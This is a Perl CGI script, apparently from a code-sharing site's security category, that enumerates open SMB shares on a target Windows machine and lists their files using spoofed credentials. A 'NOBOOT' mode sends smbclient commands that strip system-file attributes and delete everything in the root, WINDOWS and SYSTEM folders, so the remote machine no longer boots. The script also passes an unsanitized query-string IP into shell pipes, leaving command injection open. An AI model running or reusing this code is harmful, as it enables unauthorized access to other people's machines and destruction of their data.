smbls98.cgi
上传用户:puhui2008
上传日期:2007-01-07
资源大小:295k
文件大小:2k
源码类别:

系统/网络安全

开发平台:

Unix_Linux

  1. #!/usr/local/bin/perl
  2. # SmbLs98 is show shered windows files list. 
  3. # usage: smbls98.cgi [IP]
  4. #        URL:http://xxx.xxx.xxx/~xxxx/slist.cgi?ip=[IP]
  5. # auther: lumin@ugtop.com
  6. ############ require programs ###############
  7. # ADMnmbname or shownmbname and SAMBA.
  8. #
  9. # nmbname
  10. #
  11. $nmbnamex="./nmbnamex";
  12. #
  13. # smbclient  URL:http://samba.anu.edu.au/samba/
  14. #$smbclient="./smbclient"
  15. $smbclient="/usr/local/samba/bin/smbclient";
  16. # mode : LIST only ls.  NOBOOT make no boot windows. 
  17. $mode="LIST";
  18. #for cgi user
  19. $string = $ENV{"QUERY_STRING"};
  20. ($nameip, $target, ) = split(/=/,$string, 2);
  21. print "Content-type: text/htmlnn";
  22. print "<HTML><BODY><pre>n";
  23. if (!$ENV{"QUERY_STRING"}) {
  24. #for shell user
  25. $target=$ARGV[0];
  26. }
  27. # get NetBIOS name
  28. open (INBIOS, "$nmbnamex $target |");
  29. $test1=<INBIOS>;
  30. $netbios=$test1;
  31. close (INBIOS);
  32. print "============ SMB lister ",;
  33. if ( length($netbios)>1 || grep (/usage:/,$netbios)) {
  34. #Header
  35. print $target," NetBIOS name is ",$test1;
  36. print "n";
  37. open (IN, "$smbclient -I $target -L $netbios -U 'Bill Gates' -W Micros0ft -n Gates98 |");
  38. @list = <IN>;
  39. print @list;
  40. #chek list;
  41. #if (grep(/Samba 1.9.17p1/, $list[7]) || grep(/Samba 1.9.16/,$list[7]) || grep(/Samba 1.9.15/,$list[7])) { print "Level 1n";}
  42. #if (grep(/C              Disk/,$list[13]) ||grep(/C              Disk/,$list[14]) ||grep(/C              Disk/,$list[15]) || grep(/C              Disk/,$list[16]) || grep(/C              Disk/,$list[#14]) || grep(/C              Disk/,$list[17]) || grep(/C              Disk/,$list[18])) { print "Level 2n";}
  43. $netbios[$i] =~ s/n//;
  44. chop($netbios);
  45. for ($i = 10; $i <= 30; $i++) 
  46. {
  47. if (grep(/Disk/, $list[$i])){
  48. $list[$i] =~ s/At//;
  49. ($list[$i]) = ($list[$i] =~ /(A.{0,13})/);
  50. ($sname, $type, $comment) = split(/   /,$list[$i], 3);
  51. &smbls ($sname);
  52. }
  53. if ($sname=''){ $i=30;}
  54. }
  55. close (IN);
  56. }
  57. print "n</pre> <BR><a href="../smbls.html">Back </a></BODY></HTML>n";
  58. sub smbls {
  59. print "n---------$target://$netbios/$_[0]-----------n";
  60. if  (grep(/LIST/,$mode))
  61. {
  62. open (SMB, "$smbclient '//$netbios/$_[0]' -I $target -c ls -U 'Bill Gates' -W Micros0ft -n Gates98 -N|");
  63. }
  64. if (grep(/NOBOOT/,$mode))
  65. {
  66. open (SMB, "$smbclient '//$netbios/$_[0]' -I $target -c 'setmode IO.SYS -rsh;setmode SYSTEM.1ST -rsh;rm *;cd WINDOWS;rm *;cd SYSTEM;rm *' -U 'Bill Gates' -W Micros0ft -n Gates98 -N|");
  67. }
  68. print <SMB>;
  69. close (SMB);
  70. }